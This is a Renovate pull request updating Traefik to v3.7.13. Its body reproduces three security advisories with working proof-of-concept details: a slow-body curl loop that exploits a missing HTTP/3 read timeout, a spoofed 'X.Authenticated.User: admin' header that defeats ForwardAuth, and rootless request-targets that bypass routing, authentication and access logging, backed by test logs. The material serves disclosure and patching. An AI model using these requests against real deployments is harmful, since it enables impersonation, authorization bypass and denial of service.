Skip to content

fix(deps): update module github.com/traefik/traefik/v3 to v3.7.13 [security] - #1352

Open
trap-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.life-white.uk-traefik-traefik-v3-vulnerability
Open

trap-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.life-white.uk-traefik-traefik-v3-vulnerability

Conversation

@trap-renovate

@trap-renovate trap-renovate Bot commented Sep 11, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/traefik/traefik/v3 v3.6.25 → v3.7.13 age confidence

Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded

CVE-2026-88012 / GHSA-7ghq-v6jf-g56c

More information

Details

Summary

There is a medium severity vulnerability in Traefik's HTTP/3 entry points: the respondingTimeouts settings were not applied to the HTTP/3 request path. readTimeout in particular is on by default at 60s and is documented as bounding the time to read the entire request including its body, but it is enforced as a deadline on the TCP connection, which cannot reach a QUIC stream, and Traefik's HTTP/3 server was constructed with no timeout of any kind. An unauthenticated client that trickles a request body therefore holds a request open for as long as it chooses, and with it one upstream connection per request, at negligible cost to itself. Backends with bounded connection pools are the practical pressure point.

The HTTP/3 path lost these timeouts in v2.8.2, when a quic-go API change removed the embedded http.Server that had carried them; every release from v2.8.2 onward is affected, and releases before v2.8.2 are not. Traefik v2.8.2 through v2.10.x and v3.0 through v3.6 are affected and are no longer maintained: they will not receive a patch on their own line, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12.

Patches
For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description
Summary

entryPoints.<name>.transport.respondingTimeouts.readTimeout is documented as:

"Set the timeouts for incoming requests to the Traefik instance. This is the maximum
duration for reading the entire request, including the body." — Default: 60s

It is on by default and it works over HTTP/1.1 and HTTP/2. It has no effect on
HTTP/3
.

The consequence is not that a hardening option was left unset. It is that every Traefik
deployment with http3 enabled carries a 60-second bound that the operator has every
reason to believe is in force, and which is silently absent on that protocol. A single
client trickling one body byte every few seconds holds a request open indefinitely, and
with it one upstream connection per request.

readTimeout is applied as a deadline on the TCP connection. HTTP/3 does not have
one, and Traefik's HTTP/3 server is constructed with no timeout of any kind.

Steps to reproduce

No containers, VMs or cloud services — the official release binary, curl, openssl,
and a 68-line Python standard-library backend. Everything is attached.

bash reproduce.sh                 # readTimeout 5s, ~40 seconds
MODE=default bash reproduce.sh    # the stock 60s default, ~4 minutes

By hand:

1. Static config (conf/traefik.yml, complete and unredacted). Note there is no
respondingTimeouts block at all — this is the documented 60s default:

global:
  checkNewVersion: false
  sendAnonymousUsage: false

log:
  level: DEBUG

entryPoints:
  websecure:
    address: ":8443"
    http3:
      advertisedPort: 8443

providers:
  file:
    filename: conf/dynamic.yml

api:
  dashboard: false

2. Dynamic config (conf/dynamic.yml):

http:
  routers:
    backend-router:
      rule: "PathPrefix(`/`)"
      service: backend-svc
      entryPoints: [websecure]
      tls: {}
  services:
    backend-svc:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
tls:
  certificates:
    - certFile: cert.pem
      keyFile: key.pem

3. A self-signed cert, so no CA install and no sudo:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes \
    -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"

4. A backend that reads the request body before responding, as a real HTTP/1.1 server
does (backend.py, standard library only). This matters: a backend that answers the
request headers alone lets Traefik release the upstream connection immediately, which
hides the behaviour entirely.

python3 backend.py 8080 &
./traefik --configFile=conf/traefik.yml

5. The same slow upload over each protocol. The hold must exceed the timeout under
test, so 92 seconds against the 60-second default:

{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
    curl -v -k -T - --http1.1     https://localhost:8443/

{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
    curl -v -k -T - --http3-only  https://localhost:8443/
Result

Traefik v3.7.10 (langres, go1.26.5), official
traefik_v3.7.10_linux_amd64.tar.gz, sha256
01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce.

Upstream connection lifetime measured at the backend — the client's view only shows the
absence of a server action, which proves nothing on its own:

config hold HTTP/1.1 (control) HTTP/3
stock — documented 60s default 92 s 59.99 s — released at the documented default 92.94 s — held for the entire window
readTimeout: 5s 30 s 4.99 s 30.98 s

The HTTP/1.1 column is the control and it is the point of the exercise: the timeout is
demonstrably live on this exact binary, releasing the upstream at its configured value.
The HTTP/3 request, in the same run against the same instance with the same setting, ran
to completion with the upstream pinned throughout. Traefik returned 499 on the aborted
HTTP/1.1 arm and took no action at all on HTTP/3 — no RST_STREAM, no
H3_REQUEST_INCOMPLETE, no connection close.

The setting is not being silently discarded: Traefik's own DEBUG log prints the loaded
static configuration including "respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"5s"}.
Full curl -v output, backend logs and Traefik DEBUG logs for every arm are in
evidence/.

Cause

readTimeout is a TCP connection deadline —
pkg/server/server_entrypoint_tcp.go:273:

if e.transportConfiguration.RespondingTimeouts.ReadTimeout > 0 {
    err := writeCloser.SetReadDeadline(time.Now().Add(time.Duration(e.transportConfiguration.RespondingTimeouts.ReadTimeout)))

A deadline on a TCP connection cannot reach a QUIC stream.

And the HTTP/3 server is given no timeout of any kind —
pkg/server/server_entrypoint_tcp_http3.go:65:

h3.Server = &http3.Server{
    Addr:      config.GetAddress(),
    Port:      config.HTTP3.AdvertisedPort,
    Handler:   httpsServer.Server.(*http.Server).Handler,
    TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient},
    QUICConfig: &quic.Config{
        Allow0RTT: false,
    },
    ConnContext: func(ctx context.Context, c *quic.Conn) context.Context {

It reuses the HTTPS server's handler and inherits none of its timeouts. There is
therefore no duration control on the HTTP/3 request path at all — not readTimeout, not
idleTimeout, nothing.

Note that this cannot be fixed by passing a field through: quic-go's http3.Server
exposes no request-read deadline. The remedy has to be enforced around the request body
inside the handler, or upstream in quic-go.

Suggested remedy

In preference order:

  1. Enforce readTimeout on the HTTP/3 path in the handler. Traefik already passes the
    HTTPS server's handler to http3.Server, so when RespondingTimeouts.ReadTimeout > 0
    it can wrap r.Body for HTTP/3 requests in a reader that enforces the deadline.
  2. Add a request-read deadline upstream in quic-go's http3.Server and pass it through.
  3. At minimum, document it. See below — the current documentation does not tell an
    operator this.
A sketch of option 1

Offered as a description of the shape, not as a patch. I have not built or tested this
against Traefik, and I am not going to present untested code as though I had. If a working,
tested patch would be useful, say so and I will prepare one properly and verify it against
the reproducer above.

Where the HTTP/3 handler is wired up — server_entrypoint_tcp_http3.go, around the
http3.Server construction — the handler passed in could be wrapped so that, when
ReadTimeout is configured, an HTTP/3 request body carries the same deadline the TCP path
gets from SetReadDeadline:

// Roughly: for HTTP/3 requests only, and only when the timeout is set.
if readTimeout > 0 && r.ProtoMajor == 3 && r.Body != nil {
    r.Body = deadlineBody(r.Body, readTimeout)
}

The part worth knowing, because it is what makes the approach work rather than merely
look tidy: closing the request body cancels the QUIC stream read. In quic-go,
http3's body Close() calls str.CancelRead(...), which unblocks a Read that is
already parked waiting on the client. So a timer that closes the body on expiry bounds
both a client that trickles and a client that simply stops sending — the latter being
the case a wrapper that only checks the clock on each returning Read would miss
entirely.

Returning os.ErrDeadlineExceeded from the wrapped Read keeps the failure classified as
a timeout rather than a client abort, which matters for whatever status code and logging
you decide is right.

Two design questions I would not want to answer on your behalf: whether HTTP/3 should reuse
respondingTimeouts.readTimeout or get its own setting, and whether enforcement belongs in
the handler wrapper or somewhere closer to the entrypoint. Both are your call.

A documentation issue, separately

Two things in the docs are worth correcting regardless of how the code question is
resolved.

1. The readTimeout description carries no protocol qualification. It says "the
maximum duration for reading the entire request, including the body", which is exactly
what an operator relies on. The entrypoint page does note that respondingTimeouts have
"no effect for UDP entryPoints", but that does not cover this case: HTTP/3 here is served
on an HTTP entrypoint with an http3: block, not on a Traefik UDP entrypoint,
which is a separate feature for UDP routers. An operator who adds http3: to their
existing HTTPS entrypoint has not created a UDP entrypoint and has no reason to read that
caveat as applying to them.

2. SECURITY.md's supported-versions table is stale. It lists 3.6.x as supported
and < 3.6.x as unsupported, while 3.7.10 is the current release. Anyone checking whether
their version is in scope before reporting gets a confusing answer.

Impact

Each held request occupies one upstream connection for as long as the client chooses, at
negligible cost to the client, and the same client can open many. Backends with bounded
connection pools are the practical pressure point.

I have not measured a concurrency ceiling on Traefik itself, so I am not asserting
one. If that number matters to your assessment, tell me and I will measure it.

LLM ("AI") use disclosure

Not required by your policy, but stated because it is true and you should be able to
weigh it. I am a penetration tester, not a Go developer. The finding, the attack concept
and the decision to measure the upstream leg rather than the client are mine. An LLM
coding assistant (Claude) built the test harness, ran the matrix, and located the two
source citations; I verified those by hand against the v3.7.10 tag and ran the
reproducer myself. I am a human and I will be the one replying in this thread.

Disclosure

Bishop Fox operates a 90-day disclosure policy, starting the day this is submitted, with
extensions where a fix is in progress. Tell me what you would prefer and I will work to
it.

Environment
  • Traefik v3.7.10, official traefik_v3.7.10_linux_amd64.tar.gz,
    sha256 01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce
  • Kali GNU/Linux (WSL2), kernel 6.6.114.1
  • curl 8.19.0 with ngtcp2 1.21.0 / nghttp3 1.15.0### Summary
    Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Impact

What kind of vulnerability is it? Who is impacted?

---

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: ForwardAuth identity spoofing via dot-form header alias

CVE-2026-88011 / GHSA-rf44-j88r-hh8c

More information

Details

Summary

There is a medium severity vulnerability in Traefik's handling of request headers whose name aliases another header name. Go canonicalizes header names on dashes only, so X-Auth-User, X_Auth_User and X.Auth.User are three distinct headers to Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX, and others) collapse all of them into the same variable. A client can therefore smuggle an alias of a header that Traefik manages past the middleware managing it — for example a dot-form X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — and have such a backend read the client-supplied value instead of the identity Traefik asserted. Any header Traefik sets is exposed, not only ForwardAuth's. This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5, which blocked only the underscore form.

The mitigation is the new aliasHeadersStrategy entry point option. It defaults to keep, which preserves the previous behavior for backwards compatibility, so it must be explicitly set to delete or reject to take effect.

Traefik v1.x, the v2 releases up to v2.11.55 and the v3 releases from v3.0.0 to v3.7.11 are affected. The unmaintained lines among them will not receive a patch of their own, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12 and set aliasHeadersStrategy.

Patches
For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description
Summary

Traefik's ForwardAuth middleware removes the configured canonical identity header before copying the value returned by the auth service. However, a client-supplied dot-form alias such as X.Authenticated.User survives both this replacement and underscoreHeadersStrategy: delete.

The tested PHP 8.2 built-in SAPI maps X-Authenticated-User and X.Authenticated.User to the same HTTP_X_AUTHENTICATED_USER server variable. In Traefik's tested HTTP/1 backend path, the client value is serialized last and overrides the identity asserted by ForwardAuth.

A client whom ForwardAuth permits as a lower-privilege identity can therefore be treated by the backend as another user or role.

Details

At v3.7.10, pkg/server/server_entrypoint_tcp.go:800-818 removes or rejects only names containing _. After successful authentication, pkg/middlewares/auth/forward.go:314-326 deletes and replaces only the canonical authResponseHeaders key. The dot alias remains in req.Header and the standard reverse proxy forwards both legal field names.

Go's HTTP/1 writer sorts header names lexically, placing X-Authenticated-User before X.Authenticated.User. PHP then collapses both into one $_SERVER key, so the attacker value deterministically wins.

This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5: the published underscore input is blocked by the new entry-point strategy, while the dot input bypasses that mitigation on the current stable release.

PoC

traefik-dot-forwardauth-poc.zip

run:

docker compose up -d
bash verify.sh
docker compose down

The decisive request is:

GET /probe HTTP/1.1
Host: 127.0.0.1:18080
X.Authenticated.User: admin
Connection: close

Expected backend identity: lab-user, as returned by ForwardAuth.

Observed on v3.7.10: admin.

The script also verifies that requests without the alias, with the canonical header, and with the already-fixed underscore alias all produce lab-user.

Impact

Applications that authorize requests using a ForwardAuth-provided identity header can receive an attacker-selected username or role instead. This was runtime-verified with PHP 8.2.27 and 8.2.33; impact on other normalization-prone backends is conditional. A lower-privilege permitted client may consequently impersonate another user or administrative role, affecting confidentiality and integrity.

This report does not claim bypass of a ForwardAuth denial: the auth service must first permit the request.

---

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging

CVE-2026-88009 / GHSA-f52w-8j3h-j724

More information

Details

Summary

Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.

Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.

Patches
For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description
Summary

The scanner claims rewriteRequestBuilder (pkg/proxy/httputil/proxy.go:97) rebuilds the outbound target from URL.Path / RawPath / RawQuery but never clears URL.Opaque, so a client sending a rootless request-target (GET http:http://internal-vhost/admin HTTP/1.1) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.

The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image traefik:v3.7 (v3.7.9, go1.26.5) with stock entrypoint defaults. Three separate consequences were observed on the wire, not inferred:

  1. Cross-vhost routing bypass. Traefik matched Host(app.example.com), nginx served the internal-vhost server block.
  2. Path-scoped authorization bypass. A forwardAuth guard that denies ^/admin returned DENY for /admin and ALLOW for the opaque form of the same request, which then reached /admin on the backend.
  3. Access-log evasion. All three requests, benign and malicious, were logged identically as "GET / HTTP/1.1".

Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.

This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.

Affected code
  • pkg/proxy/httputil/proxy.go:97 (rewriteRequestBuilder)
  • pkg/muxer/http/mux.go:139 (withRoutingPath)
Code analysis
The sink

pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:

pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI

net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.

How Opaque gets populated

net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.

Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.

Why the entry-point pipeline does not catch it
  • denyFragment inspects req.URL.RawPath → empty → passes.
  • normalizePath returns early when RawPath == "" → passes.
  • sanitizePath (pkg/server/server_entrypoint_tcp.go:849) does r2.URL = r2.URL.JoinPath(). JoinPath does url := *u, which copies Opaque, and setPath("/"). It then does r2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect: URL.Path becomes "/", Opaque survives untouched, and RequestURI is rewritten to the attacker's authority-bearing form.
  • The muxer matches on URL.Path == "/", so any Host(...)-only or PathPrefix(/) router matches. Host matching uses req.Host, which is the Host: header because URL.Host is empty for the opaque form.
  • encodedcharacters (pkg/middlewares/encodedcharacters/encoded_characters.go:41) scans req.URL.EscapedPath(), which is "/". The denylist can never fire.
  • accesslog (pkg/middlewares/accesslog/logger.go:244-253) rebuilds urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment} and drops Opaque, so RequestPath is logged as /.
  • forwardauth (pkg/middlewares/auth/forward.go:473,499) sets X-Forwarded-Uri from req.URL.RequestURI(), so the auth server receives the string http://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.
Scope

The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := *req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.

Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.

Reproduction (J04, F4)

Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).

A. In-tree Go test (pkg/server, deleted after the run)

Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.

Command:

go test -run TestScanPocJ04Opaque -v ./pkg/server/

Observed:

=== RUN   TestScanPocJ04Opaque/control_origin_form
    status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN   TestScanPocJ04Opaque/absolute_form
    status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)

Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absolute_form control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.

B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend

Topology: nginx with a default_server returning PUBLIC-VHOST and a server_name internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.

B1. Cross-vhost + log evasion (stock defaults):

=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com

=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost

Traefik access log for those same three requests:

"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms

B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true):

=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request                       <- canonical path: protection fires

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires

B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin):

=== request-target sent: '/admin'                          -> 403 DENY
=== request-target sent: 'http:/admin'                     -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

Auth-service log confirms the decision flip: 403, 403, 200.

Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

(truncated ; full analysis in the linked internal report)

Reproduction (J18, F20)

Three Go probes were written into pkg/server/ of the checkout (named zz_scanpoc_J18*_test.go) and deleted afterwards; git status confirms no zz_scanpoc_J18 file remains and the checkout is still on v3.7 @​ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.

Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.

cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
    --> raw request line: "GET http:admin/secret HTTP/1.1"
    in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- response: "HTTP/1.1 200 OK\r"
    <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
    in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)
    <-- routers matched: [router-admin(AUTH)]
    <-- response: "HTTP/1.1 401 Unauthorized\r"
PASS

The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.

Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.

go test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
Origin GET admin/secret HTTP/1.1 GET /admin/secret HTTP/1.1 (control)
Go net/http HTTP/1.1 400 Bad Request 200, Path="/admin/secret"
nginx:alpine HTTP/1.1 400 Bad Request 404 (resolved)
httpd:alpine HTTP/1.1 400 Bad Request 404 (resolved)
Node.js (llhttp) HTTP/1.1 400 Bad Request HTTP/1.1 200 OK
Tomcat 9.0.120 HTTP/1.1 400 404 (resolved)
Python http.server accepted (404, no 400) 404
fasthttp v1.69.0 200 OK, Path="/admin/secret" 200, Path="/admin/secret"

fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".

Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMIN_PANEL_SECRET at /admin/secret.

go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1"       => 401 basicAuth required
"GET http:admin/secret HTTP/1.1"   => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET

The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.

Second affected site (J18)

The finding is mechanically correct and fully reproduced end to end, including the auth bypass.

A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:

  • denyFragment inspects URL.RawPath (empty) and passes.
  • normalizePath returns early on empty RawPath.
  • sanitizePath calls URL.JoinPath(), which rewrites Path to "/" and leaves Opaque untouched, then sets RequestURI = URL.RequestURI() = "admin/secret".
  • withRoutingPath (pkg/muxer/http/mux.go:139) derives the routing path from req.URL.EscapedPath(), which ignores Opaque, so every Path / PathPrefix / PathRegexp matcher evaluates against "/".
  • Both proxies copy the URL wholesale and never clear Opaque, so the outgoing request line is the attacker's target verbatim.

Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.

Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.

This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.

Precedent in comparable projects

Searched data/competitors/*.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.

Product ID Severity Framing Fix shape
Caddy CVE-2026-27587 HIGH MatchPath's %xx (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. Normalize in the divergent branch so matcher and handler agree on one interpretation.
Caddy CVE-2026-27588 HIGH MatchHost becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. Same fix shape: make the fast path agree with the canonical path.
Envoy CVE-2021-32779 high #fragment treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. Reject or strip the divergent element before routing.
Envoy CVE-2021-29492 high Escaped-slash characters let requests bypass path matching rules. Configurable normalization of %2F before matching.
Envoy CVE-2019-9901 CRITICAL Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. Add normalization.
Envoy CVE-2023-27491 medium Envoy forwards invalid HTTP/2 and HTTP/3 downstream headers to the upstream instead of rejecting them. Reject malformed downstream input at the edge.
Istio CVE-2021-39156 high Fragments in the path lead to authorization policy bypass. Normalize before policy evaluation.
HAProxy CVE-2023-25725 CRITICAL HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. Restore consistent parsing.

(truncated ; full analysis in the linked internal report)

Recommended fix

Assign for fix, and treat as CVE-worthy.

  1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In pkg/proxy/httputil/proxy.go, next to the Path/RawPath assignments:
    pr.Out.URL.Opaque = ""
    and in pkg/proxy/fast/proxy.go, on the u2 := *req.URL copy before outReq.SetRequestURI(u2.RequestURI()). This alone closes the forwarding half.
